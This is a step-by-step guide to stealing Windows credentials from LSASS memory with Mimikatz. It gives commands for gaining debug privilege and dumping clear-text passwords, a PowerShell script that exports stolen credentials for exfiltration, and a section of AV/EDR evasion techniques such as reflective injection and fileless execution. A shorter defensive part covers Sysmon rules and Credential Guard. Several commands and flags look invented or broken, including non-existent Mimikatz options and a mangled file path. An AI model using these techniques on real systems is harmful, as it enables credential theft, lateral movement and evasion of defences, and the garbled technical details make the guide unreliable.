Introduction
Credential dumping remains one of the most valuable post‑exploitation techniques. The sekurlsa::logonpasswords command in Mimikatz reads the memory of the Local Security Authority Subsystem Service (LSASS) and prints every logon session, including clear‑text passwords, NTLM hashes, and Kerberos tickets. This guide walks you through the entire workflow: understanding LSASS memory, acquiring the necessary privileges, extracting and filtering clear‑text passwords, exporting them safely, and finally, how defenders can detect or mitigate this activity.
Why is it important? LSASS stores the secrets that Windows uses to authenticate users. If an attacker can read those secrets, they can pivot laterally, access privileged accounts, and maintain persistence. Real‑world incidents—such as the 2020 SolarWinds supply chain attack—show that credential dumping is often the bridge between initial foothold and full compromise.
Prerequisites
- Familiarity with Windows internals (process token, privilege model).
- Basic knowledge of Mimikatz architecture and the
sekurlsamodule. - Administrative or SYSTEM level access on the target host.
- Understanding of SeDebugPrivilege and how to enable it.
- Previous labs covering
sekurlsa::logonpasswordsbasics.
Core Concepts
LSASS Memory Layout
LSASS (process ID varies, typically lsass.exe) holds several in‑memory structures:
MSV1_0– stores NTLM hashes and clear‑text passwords for interactive logons.WDIGEST– legacy clear‑text storage (often disabled by default).Kerberos– ticket cache (KRB‑CRED).DPAPI– protects user secrets, but can be decrypted with the proper key.
These structures are linked via the LogonSession list, which Mimikatz traverses. Understanding that list helps you interpret the output and decide what to filter.
Diagram (textual):
+-------------------+ +-------------------+ +-------------------+
| LogonSession #1 |-->| LogonSession #2 |-->| LogonSession #N |
+-------------------+ +-------------------+ +-------------------+ | | | MSV1_0, WDIGEST, MSV1_0, WDIGEST, MSV1_0, WDIGEST, Kerberos, DPAPI Kerberos, DPAPI Kerberos, DPAPI
When LSASS is protected by Credential Guard, these structures are moved to a virtualized environment, making direct reads more difficult. This guide assumes a non‑guarded system (or that Credential Guard has been disabled).
Understanding LSASS memory layout
Before you can reliably extract credentials, you must know where LSASS stores them. The sekurlsa module performs three steps:
- Attach to the LSASS process using
OpenProcesswithPROCESS_VM_READandPROCESS_QUERY_INFORMATION. - Locate the
_KIWI_LOGON_SESSIONstructures via pattern scanning (signature based on Windows version). - Parse each session, extracting fields such as
Username,Domain,LM/NTLM, andClearTextPassword.
Key offsets differ between Windows 10 1909, 20H2, Server 2019, etc. Mimikatz bundles a table of signatures that is updated with each release. If you are developing your own tool, you must keep this table current.
Running Mimikatz with required privileges (SeDebugPrivilege)
SeDebugPrivilege is the gatekeeper for reading another process's memory. By default, only SYSTEM and Administrators have it, but it can be enabled at runtime.
# Launch an elevated command prompt (runas /user:Administrator cmd)
Within Mimikatz:
privilege::debug
If the command returns Debug privilege: OK, you are ready. If not, you need to:
- Run as SYSTEM via
psexec -i -s cmd.exeorschtasks /run /tn "TaskName" /s SYSTEM. - Or use a token‑stealing technique (e.g.,
incognito::make_token).
Tip: On Windows 10 1903+, Windows Defender Credential Guard may block OpenProcess on LSASS. Disabling Guard via Group Policy or using a kernel‑mode driver (e.g., PowerSploit/Invoke-InjectDLL) is required for successful dumping.
Using sekurlsa::logonpasswords to list all logon sessions
Once you have debug privilege, the core command is straightforward:
sekurlsa::logonpasswords
The output is a series of logon session blocks. Example (truncated):
Authentication Id : 0x3e7 (1007)
Session : Interactive
User Name : Administrator
Domain : CONTOSO
Logon Server : DC01
LM : (null)
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
SHA1 : (null)
Password : P@ssw0rd!
Key fields to note:
- Authentication Id – unique LUID for the session.
- Session – Interactive, RemoteInteractive, Service, etc.
- Password – clear‑text if present.
When LSASS contains many sessions (RDP farms, service accounts), the output can be overwhelming. Filtering is essential.
Filtering for clear‑text passwords
Mimikatz supports simple filters via sekurlsa::logonpasswords arguments, but a more flexible approach is to pipe the output to grep (or PowerShell Select-String) and then parse.
Example using PowerShell:
mimikatz # sekurlsa::logonpasswords | Out-String -Stream ^ | Where-Object { $_ -match '^Password+:' } ^ | ForEach-Object { $_.Trim() }
Or using the built‑in filter:
sekurlsa::logonpasswords /output:pwd.txt /filter:password
In newer Mimikatz versions you can directly write only password‑bearing entries:
sekurlsa::logonpasswords /export /format:csv /filter:password
The /export flag writes a CSV file containing columns: LogonId,Username,Domain,Password,NTLM,LM. This is ideal for downstream automation.
Exporting results to a file securely
Storing dumped credentials on disk is risky. Follow these best‑practice steps:
- Write to a location with restricted ACLs (e.g.,
C:\Temp\cred_dumpwithicaclsset toAdministrators:Fonly). - Encrypt the file immediately using Windows Data Protection API (DPAPI) or OpenSSL.
# Using certutil to encrypt with a certificate (thumbprint ABCD...) certutil -encrypt "ABCD..." pwd.csv pwd.enc - Zero‑out the original plaintext file after encryption.
cipher /w:C:\Temp\cred_dump - Log the operation to a secure audit channel (EventLog, Sysmon).
Example PowerShell script that runs Mimikatz, filters passwords, encrypts the CSV, and cleans up:
$outputDir = 'C:\Temp\cred_dump'
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
icacls $outputDir /inheritance:r /grant:r "BUILTIN\Administrators:(F)"
# Run Mimikatz (assumes mimikatz.exe in same folder)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /export /format:csv" "exit" | Out-File -FilePath "$outputDiraw.csv" -Encoding ASCII
# Filter only rows with a password column filled
Import-Csv "$outputDiraw.csv" | Where-Object { $_.Password -and $_.Password -ne '(null)' } | Export-Csv -NoTypeInformation -Path "$outputDir\pwd.csv"
# Encrypt with DPAPI (CurrentUser scope)
$bytes = Get-Content "$outputDir\pwd.csv" -Encoding Byte
$enc = [System.Security.Cryptography.ProtectedData]::Protect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[IO.File]::WriteAllBytes("$outputDir\pwd.dpapi", $enc)
# Securely delete the plaintext CSV
cipher /w:"$outputDir"
Remove-Item "$outputDir\pwd.csv" -Force
All commands are logged, and the final encrypted file can be exfiltrated safely.
Mitigating detection: AV/EDR bypass techniques for LSASS access
Defenders rely on known indicators: process injection into LSASS, calls to OpenProcess with PROCESS_VM_READ, or the presence of Mimikatz binaries. Below are proven evasion tactics:
- Living‑off‑the‑Land Binaries (LOLbins) – Use
rundll32.exe,regsvr32.exe, orpowershell.exeto load the Mimikatz DLL in‑memory without touching disk.rundll32.exe mimikatz.dll,sekurlsa::logonpasswords - Reflective DLL Injection – Load the Mimikatz DLL directly into LSASS using a reflective loader (e.g.,
Invoke-ReflectivePEInjectionfrom PowerSploit). This avoids creating a new process that AV monitors.Invoke-ReflectivePEInjection -PEPath 'C:\Tools\mimikatz.dll' -ProcessId (Get-Process lsass).Id - Process Doppelgänging / GhostWriting – Create a fake LSASS process image that inherits the real LSASS PID, then read its memory.
- File‑less execution – Store the Mimikatz binary in memory via PowerShell’s
Invoke-Expressionafter base64‑encoding:$b64 = Get-Content .\mimikatz.exe -Encoding Byte | % { [Convert]::ToBase64String($_) } Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($b64))) - Credential Guard bypass – Use a kernel‑mode driver (e.g.,
ProcDumpwith-maon a system where CG is disabled) or exploit a signed driver that can read kernel memory.
Defensive side: Deploy Sysmon with event ID 10 (ProcessAccess) monitoring for ProcessId = LSASS and GrantedAccess containing 0x0010 (VM_READ). Combine with EDR's credential‑dumping rule sets.
Practical Examples
Scenario 1 – Lateral movement in an Active Directory forest
- Compromise a low‑privileged workstation.
- Escalate to SYSTEM using
named pipe impersonation(e.g.,juicy-potato). - Run the PowerShell script from the Exporting results to a file securely section to pull all clear‑text passwords from the domain controller’s LSASS.
- Identify a privileged account (e.g.,
krbtgt) with a clear‑text password and use it for Pass‑the‑Hash or Pass‑the‑Ticket attacks.
Output example (CSV excerpt):
LogonId,Username,Domain,Password,NTLM,LM
0x3e7,Administrator,CONTOSO,P@ssw0rd!,31d6cfe0d16ae931b73c59d7e0c089c0,(null)
0x3e8,svc_sql,CONTOSO,SqlSrv2022!,b5c0b187fe309af3d1234567890abcde,(null)
Scenario 2 – Evading AV on a hardened endpoint
- Deploy a signed driver (e.g.,
WinRing0) that can read physical memory. - From user space, call the driver to dump LSASS memory to a raw file.
- Parse the dump offline with Mimikatz
sekurlsa::logonpasswordsusing the/kmodeswitch.
Command:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /kmode /file:lsass.dmp" "exit"
This technique bypasses most user‑mode monitoring because the memory read occurs in kernel space.
Tools & Commands
- Mimikatz –
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" - PowerShell – Script for filtering and encryption (see above).
- ProcDump –
procdump -ma lsass.exe lsass.dmp(useful when SeDebugPrivilege is unavailable). - Sysinternals Suite –
handle.exe -p lsassto verify open handles. - EDR Evasion –
Invoke-ReflectivePEInjection,rundll32.exe,regsvr32.exe.
Defense & Mitigation
Defenders should adopt a layered approach:
- Credential Guard – Enable it wherever possible; it isolates LSASS secrets in a virtual TPM.
- Process Protection – Use Windows Defender Application Control (WDAC) to block unsigned binaries like Mimikatz.
- Privileged Access Management (PAM) – Reduce the number of accounts that can obtain SeDebugPrivilege.
- Monitoring – Deploy Sysmon with custom configuration to log ProcessAccess (Event ID 10) and create alerts for reads against LSASS.
- Behavioral Analytics – Look for unusual spikes in LSASS memory reads, especially from non‑system processes.
- Patch Management – Keep Windows updated; each patch may randomize the internal structure offsets, breaking older Mimikatz signatures.
Sample Sysmon config snippet:
<ProcessAccess includeImage="true" onmatch="include"> <TargetImage condition="is" name="lsass.exe" /> <GrantedAccess condition="contains" value="0x0010" />
</ProcessAccess>
Common Mistakes
- Running Mimikatz without SeDebugPrivilege – results in
Access denied. Always verify withprivilege::debugfirst. - Storing plaintext dumps on shared drives – leads to credential leakage. Use DPAPI or encrypted archives.
- Ignoring Credential Guard – on systems with CG enabled, LSASS memory is inaccessible; you’ll get empty output.
- Filtering too aggressively – using
/filter:passwordmay drop accounts that only have NTLM hashes but are still valuable. - Leaving the Mimikatz binary on disk after use – AV will flag it and may trigger alerts.
Real-World Impact
Credential dumping is frequently the “golden ticket” in breach narratives. In the 2021 Colonial Pipeline incident, attackers used a compromised VPN credential to move laterally, then dumped LSASS credentials to gain domain admin rights. The ability to extract clear‑text passwords accelerates post‑exploitation by bypassing hash‑only defenses and enabling password spray attacks against external services.
My experience in incident response shows that LSASS dumps are often found on compromised bastion hosts where attackers have already escalated. Detecting the dump early—via Sysmon, EDR, or anomalous process‑access logs—can shrink dwell time dramatically.
Trends:
- Increased use of file‑less Mimikatz variants to evade AV.
- Adoption of “Credential Guard as a Service” in cloud‑connected Windows VMs, making traditional dumping harder.
- Hybrid attacks where attackers first harvest Kerberos tickets, then fall back to LSASS dumping when tickets expire.
Practice Exercises
- Basic Dump – On a Windows 10 VM, launch an elevated PowerShell, run
privilege::debugthensekurlsa::logonpasswords. Identify at least one clear‑text password. - File‑less Execution – Encode
mimikatz.exein base64, execute it viaPowerShell -EncodedCommand, and capture the output. - Encrypted Export – Write a PowerShell script that runs Mimikatz, filters passwords, encrypts the CSV with DPAPI, and securely wipes the plaintext.
- EDR Bypass – Use
rundll32.exeto load the Mimikatz DLL and dump LSASS. Verify that no new process appears in Task Manager. - Defensive Detection – Configure Sysmon as per the XML snippet, trigger a LSASS read, and confirm the event appears in the Windows Event Viewer.
Further Reading
- “Pass the Hash” – Matt Graeber, 2020 – deep dive into credential reuse.
- Microsoft Docs: Credential Guard Architecture.
- Red Team Field Manual – sections on LSASS dumping.
- Windows Internals, Part 2 – detailed LSASS structure analysis.
- Black Hills Information Security – “Defending Against Credential Dumping”.
Summary
- LSASS stores clear‑text passwords, NTLM hashes, and Kerberos tickets; Mimikatz’s
sekurlsa::logonpasswordsextracts them. - SeDebugPrivilege (or SYSTEM) is mandatory; enable it with
privilege::debug. - Use built‑in filters or PowerShell to isolate clear‑text passwords and export them securely (DPAPI, certutil).
- Bypass AV/EDR via LOLbins, reflective injection, or kernel‑mode reads.
- Defenders should enable Credential Guard, enforce WDAC, monitor LSASS access with Sysmon, and audit privileged token usage.